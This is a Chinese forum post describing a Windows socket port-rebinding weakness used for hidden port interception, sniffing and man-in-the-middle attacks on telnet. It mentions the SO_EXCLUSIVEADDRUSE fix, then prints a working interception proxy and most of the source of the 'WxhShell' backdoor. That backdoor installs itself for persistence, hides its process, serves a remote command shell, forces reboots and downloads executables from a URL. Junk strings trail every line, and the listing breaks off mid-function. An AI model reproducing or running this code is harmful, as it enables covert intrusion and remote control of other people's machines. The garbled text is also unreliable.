社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 16319阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?FRuuAS  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Y[8GoqE|  
`E4+#_ v  
  saddr.sin_family = AF_INET; Ha}TdQ%  
fBi6% #  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); I|SQhbi  
+W8L^Wl  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); VY@6!9G  
;ye5HlH}.  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 soTmKqj E  
B F,8[|%#  
  这意味着什么?意味着可以进行如下的攻击: $&C~Qti|G  
?KKu1~a_  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 '&OJ hLE  
!=Hu?F p  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) /3!c ;(  
k v>rv37u  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 hA6D*8oXD  
65>1f  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Y]33:c_;Mo  
X>$s>})Y  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^_Ap?zn  
3om_Z/k  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 (9phRo)>  
]'[(MH"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 y;r{0lTB  
C~ r(*nr  
  #include !UV1OU  
  #include 0<n*8t?A-  
  #include a#k=! W  
  #include    d`g)(*  
  DWORD WINAPI ClientThread(LPVOID lpParam);   dYn<L/#  
  int main() I8s%wY9  
  { ~:ldGfb|  
  WORD wVersionRequested; vK10p)ZV  
  DWORD ret; YWXY4*G  
  WSADATA wsaData; r) SG!;X  
  BOOL val; Ul`~d !3zH  
  SOCKADDR_IN saddr; us0{y7(p  
  SOCKADDR_IN scaddr; I/HcIBJ  
  int err; \@K KX  
  SOCKET s; R'Uw17I  
  SOCKET sc; w~n7l97Pw  
  int caddsize; q"uP%TN  
  HANDLE mt; RaBq@r*(  
  DWORD tid;   6iZ:0y0t+6  
  wVersionRequested = MAKEWORD( 2, 2 ); ^hN.FIzM  
  err = WSAStartup( wVersionRequested, &wsaData ); z/Kjz$l!  
  if ( err != 0 ) { ET1>&l:.  
  printf("error!WSAStartup failed!\n"); {f12&t  
  return -1; {$ (X,E  
  } jlA?JB  
  saddr.sin_family = AF_INET; [Up0<`Q{I_  
   ,o{|W9  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .vm.g=-q  
waYH_)Zx  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =/6rX"\P  
  saddr.sin_port = htons(23); YO3$I!(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?;c&5'7ct  
  { Q 6)5*o8n  
  printf("error!socket failed!\n"); DsI{*#  
  return -1; qtQB}r8  
  } KXS{@/"-B  
  val = TRUE; -2\%?A6L  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 '(4#He?Gd  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ?u)[xEx6}+  
  { *@C]\)  
  printf("error!setsockopt failed!\n"); H)Kt!v8  
  return -1; |fd}B5!c  
  } 4YmN3i  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [|NgrU_.  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )}KQtkU8:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 < "8<<   
r8uc.z2%  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) } XJZw|n  
  { $:aKb#l)  
  ret=GetLastError(); DKzP)!B "  
  printf("error!bind failed!\n");  Du*O|  
  return -1; OG C|elSM  
  } [8b,}i 1  
  listen(s,2); c[DC  
  while(1) x9Qa.Jmj  
  { GkutS.2G#  
  caddsize = sizeof(scaddr); sHr!GF  
  //接受连接请求 yQ3*~d~U|L  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); HxgH*IMs  
  if(sc!=INVALID_SOCKET) u{@b_7 5Y  
  { h>l  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); pKM5<1J  
  if(mt==NULL) NUclF|G  
  { " * Qwaq_  
  printf("Thread Creat Failed!\n"); lYz$~/sd  
  break; OcBn1k.  
  } z+J4XpX0,  
  } sT^^#$ub  
  CloseHandle(mt); 'x-PQQ  
  } O 0lQ1<=  
  closesocket(s); @+S5"W  
  WSACleanup(); ;zbF~5e  
  return 0; P]pVYX# m  
  }   - /s2'  
  DWORD WINAPI ClientThread(LPVOID lpParam) -ty_<m]  
  { r}gp{Pf7e  
  SOCKET ss = (SOCKET)lpParam; CDz-IQi  
  SOCKET sc; aXSTA ,%  
  unsigned char buf[4096]; ZA;wv+hF=  
  SOCKADDR_IN saddr; Tn# >"Ag  
  long num; JQ*CF(9  
  DWORD val; y3 {om^ f  
  DWORD ret; LZ@4,Uj  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @jE<V=?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ya9V+/i7T_  
  saddr.sin_family = AF_INET; C?FUc cI  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4Qr16,Us  
  saddr.sin_port = htons(23); ypuW}H%`  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~D4%7U"dv  
  { Y dgaZJs  
  printf("error!socket failed!\n"); Q6cF <L`bW  
  return -1; (+Yerc.NQt  
  } D/CSR=b  
  val = 100; crJyk#_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3 *o l  
  { 1or4s{bmo  
  ret = GetLastError(); (~r"N?`  
  return -1; NhxTSyT"t  
  } +G3&{#D ?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [Ng#/QXk{  
  { zL @ZNH  
  ret = GetLastError(); io]e]m%  
  return -1; ;[-dth  
  } #:v e3gWl  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Ojx1IL  
  { +jFcq:`#UG  
  printf("error!socket connect failed!\n"); Cwxy ~.mI  
  closesocket(sc); r^ ?Qo  
  closesocket(ss); ta*B#2D>  
  return -1; hsVf/%  
  } JDi|]JY  
  while(1) Qwn/ ,  
  { eI@LVi6<b  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -.|V S|y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 H|4O`I;~(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 We#u-#k_O  
  num = recv(ss,buf,4096,0); CT@JNG$<"  
  if(num>0) [YY[E 7  
  send(sc,buf,num,0); !3{> F"  
  else if(num==0) Si#b"ls'  
  break; e9;<9uX  
  num = recv(sc,buf,4096,0); x8Rmap@L.  
  if(num>0) \4q% n  
  send(ss,buf,num,0); {I|iUfy  
  else if(num==0) +B$ o8V  
  break; ~3 Y)o|D3  
  } 7hq*+e  
  closesocket(ss); 7z'l}*FRD  
  closesocket(sc);  T|NNd1>  
  return 0 ; f%0^89)  
  } i DV.L  
]Cpd`}'  
j?ihUNY!+  
========================================================== D!kv+<+  
ngoo4}  
下边附上一个代码,,WXhSHELL OPR+K ?  
xmxfXW  
========================================================== [?mDTD8zU  
Qi' ,[Xmf  
#include "stdafx.h" f} g)3+i  
&B\tcF  
#include <stdio.h> !8^:19+  
#include <string.h> LuQ4TT  
#include <windows.h> {dV#"+  
#include <winsock2.h> TN}YRXtW+  
#include <winsvc.h> \TS t  
#include <urlmon.h> W-:gU!{*#  
E(A7DXzbR  
#pragma comment (lib, "Ws2_32.lib") O^v^GG=e;C  
#pragma comment (lib, "urlmon.lib") GUJ[2/V~A  
[H-,zY  
#define MAX_USER   100 // 最大客户端连接数 uBI?nv,  
#define BUF_SOCK   200 // sock buffer Fx2z lM&  
#define KEY_BUFF   255 // 输入 buffer Ml)~%ZbF  
d?(#NP#;  
#define REBOOT     0   // 重启 = R|?LOEK+  
#define SHUTDOWN   1   // 关机 SovK|b &  
n<6p0w  
#define DEF_PORT   5000 // 监听端口 Z,/BPK<e  
Xxcv 5.ug  
#define REG_LEN     16   // 注册表键长度 }I;A\K]  
#define SVC_LEN     80   // NT服务名长度 6]^; s1!  
2bBTd@m4  
// 从dll定义API z"8%W?o>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); EzOO6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xg %EQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S0nBX"$u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hko0 ?z  
,:UoE  
// wxhshell配置信息 hW[/{2<@  
struct WSCFG { AVyO5>w  
  int ws_port;         // 监听端口 \tTZ N  
  char ws_passstr[REG_LEN]; // 口令 I=X-e#HM?  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,<*n>W4|  
  char ws_regname[REG_LEN]; // 注册表键名 |>a sGP  
  char ws_svcname[REG_LEN]; // 服务名 wvsKn YKX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q{6Bhx *>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %7 h _D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p%~#~5t,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v'0A$`w`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }N^.4HOS8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z/u;afB9q  
|r5 np  
}; AFO g*{1  
$6.CN#  
// default Wxhshell configuration 3 RG*:9  
struct WSCFG wscfg={DEF_PORT, r# MJ  
    "xuhuanlingzhe", K5gh7  
    1, $}&Y$w>S  
    "Wxhshell", =4cK9ac  
    "Wxhshell", |f1 S&b.  
            "WxhShell Service", n;8[WR)  
    "Wrsky Windows CmdShell Service", f<WP< !N%  
    "Please Input Your Password: ", Br.$:g#  
  1, $j*%}x~[  
  "http://www.wrsky.com/wxhshell.exe", NfizX!w&  
  "Wxhshell.exe" <EFA^,3t%  
    }; x!GHUz*:uz  
_4F(WCco  
// 消息定义模块 [ sJ f)<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?t++IEoP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V(Ll]g/T_;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; p2 u*{k{  
char *msg_ws_ext="\n\rExit."; I$!rNfrs  
char *msg_ws_end="\n\rQuit."; Qa@b-v'by  
char *msg_ws_boot="\n\rReboot..."; 7/QQ&7+NkS  
char *msg_ws_poff="\n\rShutdown..."; N9hs<b+N_  
char *msg_ws_down="\n\rSave to "; _7r<RZ  
Zg1=g_xY  
char *msg_ws_err="\n\rErr!"; QcJ?1GwA"  
char *msg_ws_ok="\n\rOK!"; ?g gl8bzA  
a@:(L"Or  
char ExeFile[MAX_PATH]; ?145^ w  
int nUser = 0; d_s=5+Yj  
HANDLE handles[MAX_USER]; !$N^Ak5#  
int OsIsNt; d-Vttxa6  
CY~]lQ  
SERVICE_STATUS       serviceStatus; As0E'n85  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r >bMx~a]  
0Oy.&C T  
// 函数声明 ^o&3+s} M  
int Install(void); %(lr.9.]H  
int Uninstall(void); IzVb  
int DownloadFile(char *sURL, SOCKET wsh); Q@]~O-  
int Boot(int flag); Wno{&I63  
void HideProc(void); 0#1hkJ"  
int GetOsVer(void); K|JpkEw  
int Wxhshell(SOCKET wsl); -]yM<dP  
void TalkWithClient(void *cs); q"){P RTm/  
int CmdShell(SOCKET sock); |R$V[  
int StartFromService(void); XY %er  
int StartWxhshell(LPSTR lpCmdLine); ipzv]c&  
}-YM>q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kaM=Fk=t  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <u "xHl8Io  
Jw13 Wb-  
// 数据结构和表定义 j9Qd 45  
SERVICE_TABLE_ENTRY DispatchTable[] = y!_*CYZ~m  
{ sG-$d\ 1d  
{wscfg.ws_svcname, NTServiceMain}, ay~c@RXW  
{NULL, NULL} A|jmp~@K)+  
}; ^h wF=  
~,#zdm1r@  
// 自我安装 SURbH;[   
int Install(void) }%e"A4v  
{ K1y]  
  char svExeFile[MAX_PATH]; D{'>G@nLQ  
  HKEY key; j v9DQr  
  strcpy(svExeFile,ExeFile); &CP0T:h  
F)fCj^ zL  
// 如果是win9x系统,修改注册表设为自启动 =NJ:%kvF  
if(!OsIsNt) { Qm9r>m6p@N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %[3?vX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )?_x$GKY  
  RegCloseKey(key); *xHj*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wXUP%i]i=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '7BJ.  
  RegCloseKey(key); ~|y$^qy?U  
  return 0; )|52B;yZx  
    } 0 0JH*I  
  } ,orq&#*Wd  
} = ;tDYuFc!  
else { 96a2G,c >V  
j%w}hGW%,  
// 如果是NT以上系统,安装为系统服务 ~vL7$-:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R0 yPmh,{  
if (schSCManager!=0) Z"ce1cB  
{  3)D'Yx  
  SC_HANDLE schService = CreateService KImBQ2^Tu  
  ( He&7(mQ0^  
  schSCManager, #.Q3}[M  
  wscfg.ws_svcname, <H; z4  
  wscfg.ws_svcdisp, rN$U%\.I  
  SERVICE_ALL_ACCESS, V1yY>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B7'rbc'  
  SERVICE_AUTO_START, U3UKu/Z  
  SERVICE_ERROR_NORMAL, R=7,F6.  
  svExeFile, G`;YB  
  NULL,  !' }  
  NULL, blVt:XS{,m  
  NULL,  AqqD!  
  NULL, ! .q,m>?+  
  NULL ejF GeR  
  ); UrC>n  
  if (schService!=0) Xa,d"R~  
  { 1')_^]  
  CloseServiceHandle(schService); ~]w|ULNa3|  
  CloseServiceHandle(schSCManager); 4+tKg*|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9~rrN60Q  
  strcat(svExeFile,wscfg.ws_svcname); l_q=@y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { R5"5Z?'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5YV3pFz$)  
  RegCloseKey(key); 6@rebe!&=  
  return 0; {M_*hR;lL  
    } KfPYH\ 0  
  } {s{ bnU  
  CloseServiceHandle(schSCManager); q HU}EEv  
} Y^Y1re+}  
} 8h?):e  
1H-d<G0)  
return 1; dvc=<!"'S  
} M+|J;caX  
&s{" Vc9]  
// 自我卸载 #F^0uUjq  
int Uninstall(void) Au\j6mB  
{ X]1Q# $b  
  HKEY key; @CB&*VoB  
W5SCm(QS5  
if(!OsIsNt) { h>a/3a$g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v'e5j``=  
  RegDeleteValue(key,wscfg.ws_regname); qlU"v)Mx  
  RegCloseKey(key); m>:zwz< ;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (DnrJ.QU}t  
  RegDeleteValue(key,wscfg.ws_regname); L|`(u  
  RegCloseKey(key); C$x r)_  
  return 0; J1\H^gyW)  
  } US'rhSV  
} } \?]uNH  
} tb1w 6jaU  
else { 'V`Hp$r  
IQ] tcSQl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  %>z)Q  
if (schSCManager!=0) 1w$X;q"  
{ DX b=Ku  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pIhy3@bY  
  if (schService!=0) .l:x!  
  { 1"fbQ^4`  
  if(DeleteService(schService)!=0) { [dIlt"2fV  
  CloseServiceHandle(schService); = lMs1}S9  
  CloseServiceHandle(schSCManager); KmX?W/%R  
  return 0; K^Ixu~  
  } mzbMX <  
  CloseServiceHandle(schService); A>Y#-e;<d  
  } K)&oDwk  
  CloseServiceHandle(schSCManager); + d289"  
} hhr!FQ.+/  
} &57s//PrX  
vwIP8z~<  
return 1; M@a=|N~  
} 1$RUhxT  
u}(K3H3  
// 从指定url下载文件 ZQN%!2  
int DownloadFile(char *sURL, SOCKET wsh) SLjSNuOP  
{ D=_FrEM_IA  
  HRESULT hr; \sc's7  
char seps[]= "/"; caD|*.b  
char *token; Z~6PrM-M  
char *file; /DE`>eJY  
char myURL[MAX_PATH]; 4iC=+YUn  
char myFILE[MAX_PATH]; `&/~%>  
uD8,E!\  
strcpy(myURL,sURL); E,gpi  
  token=strtok(myURL,seps); ;vp[J&=  
  while(token!=NULL) !wr2OxK*  
  { BW{&A&j  
    file=token; lr~c w#h*  
  token=strtok(NULL,seps); XM:Y(#?l  
  } t_NnQ4)=  
+et)!2N  
GetCurrentDirectory(MAX_PATH,myFILE); ?3; 0 SAh  
strcat(myFILE, "\\"); i"OY=iw-N  
strcat(myFILE, file); rZkl0Y;n\  
  send(wsh,myFILE,strlen(myFILE),0); *<#$B}!{  
send(wsh,"...",3,0); th]pqhl>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D]*<J"/]d  
  if(hr==S_OK) <:!;79T\  
return 0; )^[PW&=W|x  
else dA[S@ysvG  
return 1; T@gm0igW/;  
@z<IsAE  
} 4Tn97G7  
DUlvlQW  
// 系统电源模块 [e?vqm .  
int Boot(int flag) [l:}#5\]4  
{ wpV)y Q^  
  HANDLE hToken; Rpou.RrXR7  
  TOKEN_PRIVILEGES tkp; c^ W \0  
%Z!3[.%F  
  if(OsIsNt) { I*OJPFZ^4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xk@fBa }  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rlP?Uh  
    tkp.PrivilegeCount = 1; u[+/WFH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1# ;`1i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "C'T>^qw*  
if(flag==REBOOT) { P`]p&:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {L.=)zt>  
  return 0; &KP JB"0L  
} ,); -v4$  
else { l2 mO{'|C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) apw/nhQ.[  
  return 0; "c*&~GSE4  
} ! w2BD^V-  
  } #"KaRh  
  else { GPLq$^AH  
if(flag==REBOOT) { }&Kl)2:O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9ELRn@5.  
  return 0; (hn;C>B  
} Gf\u%S!%  
else { 6 TSC7jO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6hAMk<kx?i  
  return 0; CA5q(ID_  
} O#3PUuE%d  
} +xn59V  
WR5W0!'Tf  
return 1; M TOZ:b  
} vuO~^N]G  
7 ?a!x$-U(  
// win9x进程隐藏模块 k\A[p\  
void HideProc(void) 87q~ nk  
{ SJ).L.Cm6  
ZP;WXB`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xn,I<dL39  
  if ( hKernel != NULL ) .$N8cYu0  
  { %W,V~kb  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); CN!~(1v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); dO|n[/qL0  
    FreeLibrary(hKernel); Q/^a(   
  } yYn7y1B  
tq&CJvJ4  
return; l$J2|\M6  
} Dio9'&DtC  
`| f1^C^  
// 获取操作系统版本 B f"L;L  
int GetOsVer(void) MHF7hk ps}  
{ F%`O$uXA  
  OSVERSIONINFO winfo; M:d} P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L]#b =Y  
  GetVersionEx(&winfo); Be~In~~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;$/]6@bqB  
  return 1; /j;HM[  
  else  [kL`'yi  
  return 0; V6 uh'2  
} W'L  
W:V.\  
// 客户端句柄模块 b3l~wp6>  
int Wxhshell(SOCKET wsl) !1[ZfTX^a  
{ Pm== m9  
  SOCKET wsh; R-OQ(]<*  
  struct sockaddr_in client; eh}I?:(a?  
  DWORD myID; ?C*}NM  
]Pf!wv  
  while(nUser<MAX_USER) N.dcQQ_iS  
{ v9XevLs  
  int nSize=sizeof(client); OXD*ZKi8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'QQa :3<x  
  if(wsh==INVALID_SOCKET) return 1; rB}2F*eT  
OSIf>1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y?xc#'  
if(handles[nUser]==0) IyoitIbLl  
  closesocket(wsh); dr^MW?{a\  
else J>Bc-%.Q  
  nUser++; ]7J*(,sp  
  } |^C35 6M>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bEli!N$  
zCI.^^<?  
  return 0; cg_j.=M-  
} !;E{D  
Yk=2ld;;  
// 关闭 socket @f`s%o  
void CloseIt(SOCKET wsh) &{ZTtK&JF  
{ s(cC ;  
closesocket(wsh); |DLmMsS4  
nUser--; e7M6|6nb  
ExitThread(0); :aWC6"ik-W  
} b{a\j%  
jq( QL%)_O  
// 客户端请求句柄 F~wqt7*  
void TalkWithClient(void *cs) nJcY>Rp?  
{ PYr'1D'  
gzEcdDD  
  SOCKET wsh=(SOCKET)cs; ]BaK8mPl  
  char pwd[SVC_LEN];  wkKSL  
  char cmd[KEY_BUFF]; ]:svR@E  
char chr[1]; l\ HtP7]  
int i,j; G!E1N(%o  
Y Sux#*#H  
  while (nUser < MAX_USER) { %6E:SI 4  
 |Fe*t  
if(wscfg.ws_passstr) { ~RRS{\,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Vw+RRi(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M"5S  
  //ZeroMemory(pwd,KEY_BUFF); 1;JH0~403  
      i=0; `c?8i  
  while(i<SVC_LEN) { h~s h!W8  
!'*1;OQ  
  // 设置超时 8SoTABHV  
  fd_set FdRead; lf}%^od~6  
  struct timeval TimeOut; I\@`AU  
  FD_ZERO(&FdRead); 9YY*)5eyD  
  FD_SET(wsh,&FdRead); Ir6g"kwCKq  
  TimeOut.tv_sec=8; 8y'.H21:;  
  TimeOut.tv_usec=0; hE;BT>_dn  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "=!sZO?3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l09DH+  
s3y"y_u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RL b o  
  pwd=chr[0]; *Qy,?2  
  if(chr[0]==0xd || chr[0]==0xa) { -;iCe7|Twf  
  pwd=0; +lZvj=gW  
  break; B}^l'p_u  
  } j> dL:V&`  
  i++; nx@,oC4  
    } JzmX~|=Xi  
n a+P|'6  
  // 如果是非法用户,关闭 socket <v3pI!)x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jbp?6GW  
} 3u[5T|D'  
F[*/D/y(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U\i7'9w]3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3|=L1Pw#  
- *v)sP"@  
while(1) { \ {;3'<  
G{gc]7\=Cd  
  ZeroMemory(cmd,KEY_BUFF); C sCH :>  
:H>0/^Mg0  
      // 自动支持客户端 telnet标准   WkDXWv\{,{  
  j=0; Fil6;R  
  while(j<KEY_BUFF) { Wv]ODEd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .p(%gmOp#  
  cmd[j]=chr[0]; Pxf/*z  
  if(chr[0]==0xa || chr[0]==0xd) { .,\^{.E  
  cmd[j]=0; 3<_=Vyf  
  break; GezMqt;2  
  } Fb6d1I^wR  
  j++; X<&Y5\%F  
    } vrIWw?/z?  
H7}f[4S%  
  // 下载文件 j7~Rw"(XQc  
  if(strstr(cmd,"http://")) { A~H@0>1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F8|m i`f-  
  if(DownloadFile(cmd,wsh)) @.L/HXu-P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;cGY  
  else \k5 sdHmI[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <[?ZpG  
  } 'oF XNO  
  else { v {) 8QF]  
r9n:[A&HE  
    switch(cmd[0]) { c^stfFE&  
  d&naJ)IoF)  
  // 帮助 hG >kx8h  
  case '?': { sQn@:Gk  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u{S"NEc  
    break; -PTfsQk  
  } KPA.5,ai  
  // 安装 & l0LW,Bx  
  case 'i': { #fb &51  
    if(Install()) Nka 3H7 `  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cp6I]#X  
    else 3sp-0tUE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0wt4C% .0  
    break; ~ 1~|/WG  
    } 73JrK_h  
  // 卸载 xtut S  
  case 'r': {  F |aLF{  
    if(Uninstall()) SGu`vN]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :QC |N@C  
    else gux?P2f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +'wO:E1( w  
    break; %e:[[yq)G  
    } <6+T&Ov6  
  // 显示 wxhshell 所在路径 @hy~H?XN  
  case 'p': { jZ''0Lclpc  
    char svExeFile[MAX_PATH]; R?M>uaxn  
    strcpy(svExeFile,"\n\r"); Hwcmt!y  
      strcat(svExeFile,ExeFile); -q\Rbb5M  
        send(wsh,svExeFile,strlen(svExeFile),0); k 7:Z\RGy  
    break; )y{:Uc\4!  
    } a'A<'(yv  
  // 重启 +!ZfJZls  
  case 'b': { +.Xi7x+#O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x"r,l/gzy  
    if(Boot(REBOOT)) GJ F &id  
